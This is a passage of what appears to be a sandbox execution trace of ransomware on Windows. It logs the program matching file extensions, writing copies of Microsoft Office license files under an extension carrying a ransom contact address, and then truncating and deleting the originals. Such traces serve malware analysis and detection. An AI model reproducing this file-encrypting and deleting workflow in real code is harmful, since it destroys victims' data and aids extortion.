Office\\root\\Licenses16\\PersonalR_OEM_Perp-ul-phn.xrm-ms") returned 82 [0212.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_OEM_Perp-ul-phn.xrm-ms") returned 82 [0212.027] lstrlenW (lpString=".doc") returned 4 [0212.027] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0212.027] lstrlenW (lpString=".docx") returned 5 [0212.027] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0212.027] lstrlenW (lpString=".pdf") returned 4 [0212.027] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0212.027] lstrlenW (lpString=".xls") returned 4 [0212.027] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0212.027] lstrlenW (lpString=".xlsx") returned 5 [0212.027] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0212.028] lstrlenW (lpString=".ppt") returned 4 [0212.028] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0212.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_OEM_Perp-ul-phn.xrm-ms") returned 82 [0212.028] lstrlenW (lpString=".zip") returned 4 [0212.028] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0212.028] lstrlenW (lpString=".rar") returned 4 [0212.028] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0212.028] lstrlenW (lpString=".bz2") returned 4 [0212.028] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0212.028] lstrlenW (lpString=".7z") returned 3 [0212.028] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0212.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_OEM_Perp-ul-phn.xrm-ms") returned 82 [0212.028] lstrlenW (lpString=".dbf") returned 4 [0212.028] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0212.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_OEM_Perp-ul-phn.xrm-ms") returned 82 [0212.028] lstrlenW (lpString=".1cd") returned 4 [0212.028] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0212.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_OEM_Perp-ul-phn.xrm-ms") returned 82 [0212.028] lstrlenW (lpString=".jpg") returned 4 [0212.028] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0212.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_OEM_Perp-ul-phn.xrm-ms") returned 82 [0212.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_OEM_Perp-ul-phn.xrm-ms") returned 82 [0212.028] lstrlenW (lpString=".doc") returned 4 [0212.028] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0212.028] lstrlenW (lpString=".docx") returned 5 [0212.028] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0212.028] lstrlenW (lpString=".pdf") returned 4 [0212.028] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0212.028] lstrlenW (lpString=".xls") returned 4 [0212.028] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0212.028] lstrlenW (lpString=".xlsx") returned 5 [0212.028] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0212.028] lstrlenW (lpString=".ppt") returned 4 [0212.029] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0212.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_OEM_Perp-ul-phn.xrm-ms") returned 82 [0212.029] lstrlenW (lpString=".zip") returned 4 [0212.029] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0212.029] lstrlenW (lpString=".rar") returned 4 [0212.029] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0212.029] lstrlenW (lpString=".bz2") returned 4 [0212.029] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0212.029] lstrlenW (lpString=".7z") returned 3 [0212.029] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0212.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_OEM_Perp-ul-phn.xrm-ms") returned 82 [0212.029] lstrlenW (lpString=".dbf") returned 4 [0212.029] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0212.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_OEM_Perp-ul-phn.xrm-ms") returned 82 [0212.029] lstrlenW (lpString=".1cd") returned 4 [0212.029] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0212.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_OEM_Perp-ul-phn.xrm-ms") returned 82 [0212.029] lstrlenW (lpString=".jpg") returned 4 [0212.029] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0212.029] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0212.029] lstrlenW (lpString="PersonalR_Retail-pl.xrm-ms") returned 26 [0212.029] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_retail-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0212.030] GetFileSizeEx (in: hFile=0x56c, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=10639) returned 1 [0212.030] CloseHandle (hObject=0x56c) returned 1 [0212.030] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_retail-pl.xrm-ms")) returned 0x220 [0212.030] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Retail-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_retail-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0212.030] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_retail-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0212.030] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0212.031] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0212.031] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Retail-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_retail-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0212.031] GetLastError () returned 0x0 [0212.031] ReadFile (in: hFile=0x56c, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x298f, lpOverlapped=0x0) returned 1 [0212.365] WriteFile (in: hFile=0x4d4, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x2990, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x2990, lpOverlapped=0x0) returned 1 [0212.366] ReadFile (in: hFile=0x56c, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0212.367] WriteFile (in: hFile=0x4d4, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x108, lpOverlapped=0x0) returned 1 [0212.367] SetEndOfFile (hFile=0x4d4) returned 1 [0212.367] CloseHandle (hObject=0x4d4) returned 1 [0212.367] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0212.367] SetEndOfFile (hFile=0x56c) returned 1 [0212.370] CloseHandle (hObject=0x56c) returned 1 [0212.370] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Retail-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0213.147] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_retail-pl.xrm-ms")) returned 1 [0213.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Retail-pl.xrm-ms") returned 76 [0213.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Retail-pl.xrm-ms") returned 76 [0213.148] lstrlenW (lpString=".doc") returned 4 [0213.148] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0213.148] lstrlenW (lpString=".docx") returned 5 [0213.148] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0213.148] lstrlenW (lpString=".pdf") returned 4 [0213.148] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0213.148] lstrlenW (lpString=".xls") returned 4 [0213.148] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0213.148] lstrlenW (lpString=".xlsx") returned 5 [0213.148] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0213.148] lstrlenW (lpString=".ppt") returned 4 [0213.148] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0213.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Retail-pl.xrm-ms") returned 76 [0213.148] lstrlenW (lpString=".zip") returned 4 [0213.149] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0213.149] lstrlenW (lpString=".rar") returned 4 [0213.149] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0213.149] lstrlenW (lpString=".bz2") returned 4 [0213.149] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0213.149] lstrlenW (lpString=".7z") returned 3 [0213.149] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0213.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Retail-pl.xrm-ms") returned 76 [0213.149] lstrlenW (lpString=".dbf") returned 4 [0213.149] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0213.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Retail-pl.xrm-ms") returned 76 [0213.149] lstrlenW (lpString=".1cd") returned 4 [0213.149] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0213.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Retail-pl.xrm-ms") returned 76 [0213.149] lstrlenW (lpString=".jpg") returned 4 [0213.149] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0213.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Retail-pl.xrm-ms") returned 76 [0213.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Retail-pl.xrm-ms") returned 76 [0213.149] lstrlenW (lpString=".doc") returned 4 [0213.149] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0213.149] lstrlenW (lpString=".docx") returned 5 [0213.149] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0213.149] lstrlenW (lpString=".pdf") returned 4 [0213.149] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0213.149] lstrlenW (lpString=".xls") returned 4 [0213.149] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0213.149] lstrlenW (lpString=".xlsx") returned 5 [0213.149] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0213.149] lstrlenW (lpString=".ppt") returned 4 [0213.149] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0213.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Retail-pl.xrm-ms") returned 76 [0213.149] lstrlenW (lpString=".zip") returned 4 [0213.149] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0213.150] lstrlenW (lpString=".rar") returned 4 [0213.150] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0213.150] lstrlenW (lpString=".bz2") returned 4 [0213.150] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0213.150] lstrlenW (lpString=".7z") returned 3 [0213.150] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0213.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Retail-pl.xrm-ms") returned 76 [0213.150] lstrlenW (lpString=".dbf") returned 4 [0213.150] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0213.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Retail-pl.xrm-ms") returned 76 [0213.150] lstrlenW (lpString=".1cd") returned 4 [0213.150] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0213.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Retail-pl.xrm-ms") returned 76 [0213.150] lstrlenW (lpString=".jpg") returned 4 [0213.150] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0213.150] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0213.150] lstrlenW (lpString="PowerPointR_Retail-pl.xrm-ms") returned 28 [0213.150] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_retail-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0213.151] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=10647) returned 1 [0213.151] CloseHandle (hObject=0x3f8) returned 1 [0213.151] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_retail-pl.xrm-ms")) returned 0x220 [0213.151] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Retail-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_retail-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0213.151] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_retail-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0213.151] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0213.152] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0213.152] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Retail-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_retail-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0213.152] GetLastError () returned 0x0 [0213.152] ReadFile (in: hFile=0x3f8, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x2997, lpOverlapped=0x0) returned 1 [0213.154] WriteFile (in: hFile=0x518, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x29a0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x29a0, lpOverlapped=0x0) returned 1 [0213.155] ReadFile (in: hFile=0x3f8, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0213.155] WriteFile (in: hFile=0x518, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x10c, lpOverlapped=0x0) returned 1 [0213.156] SetEndOfFile (hFile=0x518) returned 1 [0213.156] CloseHandle (hObject=0x518) returned 1 [0213.156] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0213.156] SetEndOfFile (hFile=0x3f8) returned 1 [0213.160] CloseHandle (hObject=0x3f8) returned 1 [0213.160] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Retail-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0213.160] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_retail-pl.xrm-ms")) returned 1 [0213.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Retail-pl.xrm-ms") returned 78 [0213.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Retail-pl.xrm-ms") returned 78 [0213.161] lstrlenW (lpString=".doc") returned 4 [0213.161] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0213.161] lstrlenW (lpString=".docx") returned 5 [0213.161] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0213.161] lstrlenW (lpString=".pdf") returned 4 [0213.161] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0213.161] lstrlenW (lpString=".xls") returned 4 [0213.161] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0213.161] lstrlenW (lpString=".xlsx") returned 5 [0213.161] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0213.161] lstrlenW (lpString=".ppt") returned 4 [0213.161] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0213.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Retail-pl.xrm-ms") returned 78 [0213.161] lstrlenW (lpString=".zip") returned 4 [0213.161] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0213.161] lstrlenW (lpString=".rar") returned 4 [0213.161] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0213.161] lstrlenW (lpString=".bz2") returned 4 [0213.161] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0213.162] lstrlenW (lpString=".7z") returned 3 [0213.162] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0213.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Retail-pl.xrm-ms") returned 78 [0213.162] lstrlenW (lpString=".dbf") returned 4 [0213.162] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0213.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Retail-pl.xrm-ms") returned 78 [0213.162] lstrlenW (lpString=".1cd") returned 4 [0213.162] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0213.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Retail-pl.xrm-ms") returned 78 [0213.162] lstrlenW (lpString=".jpg") returned 4 [0213.162] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0213.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Retail-pl.xrm-ms") returned 78 [0213.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Retail-pl.xrm-ms") returned 78 [0213.162] lstrlenW (lpString=".doc") returned 4 [0213.162] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0213.162] lstrlenW (lpString=".docx") returned 5 [0213.162] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0213.162] lstrlenW (lpString=".pdf") returned 4 [0213.162] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0213.162] lstrlenW (lpString=".xls") returned 4 [0213.162] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0213.162] lstrlenW (lpString=".xlsx") returned 5 [0213.162] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0213.162] lstrlenW (lpString=".ppt") returned 4 [0213.162] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0213.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Retail-pl.xrm-ms") returned 78 [0213.162] lstrlenW (lpString=".zip") returned 4 [0213.162] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0213.162] lstrlenW (lpString=".rar") returned 4 [0213.163] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0213.163] lstrlenW (lpString=".bz2") returned 4 [0213.163] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0213.163] lstrlenW (lpString=".7z") returned 3 [0213.163] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0213.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Retail-pl.xrm-ms") returned 78 [0213.163] lstrlenW (lpString=".dbf") returned 4 [0213.163] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0213.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Retail-pl.xrm-ms") returned 78 [0213.163] lstrlenW (lpString=".1cd") returned 4 [0213.163] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0213.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Retail-pl.xrm-ms") returned 78 [0213.163] lstrlenW (lpString=".jpg") returned 4 [0213.163] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0213.163] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0213.163] lstrlenW (lpString="PowerPointR_Retail-ppd.xrm-ms") returned 29 [0213.163] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_retail-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0213.164] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=20782) returned 1 [0213.164] CloseHandle (hObject=0x3f8) returned 1 [0213.164] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_retail-ppd.xrm-ms")) returned 0x220 [0213.164] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Retail-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_retail-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0213.164] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_retail-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0213.164] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0213.164] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0213.165] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Retail-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_retail-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0213.165] GetLastError () returned 0x0 [0213.165] ReadFile (in: hFile=0x3f8, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x512e, lpOverlapped=0x0) returned 1 [0213.167] WriteFile (in: hFile=0x518, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x5130, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x5130, lpOverlapped=0x0) returned 1 [0213.169] ReadFile (in: hFile=0x3f8, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0213.169] WriteFile (in: hFile=0x518, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x10e, lpOverlapped=0x0) returned 1 [0213.169] SetEndOfFile (hFile=0x518) returned 1 [0213.169] CloseHandle (hObject=0x518) returned 1 [0213.169] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0213.169] SetEndOfFile (hFile=0x3f8) returned 1 [0213.172] CloseHandle (hObject=0x3f8) returned 1 [0213.173] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Retail-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0213.173] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Retail-ppd.xrm-ms" (normalized: "c:\\program 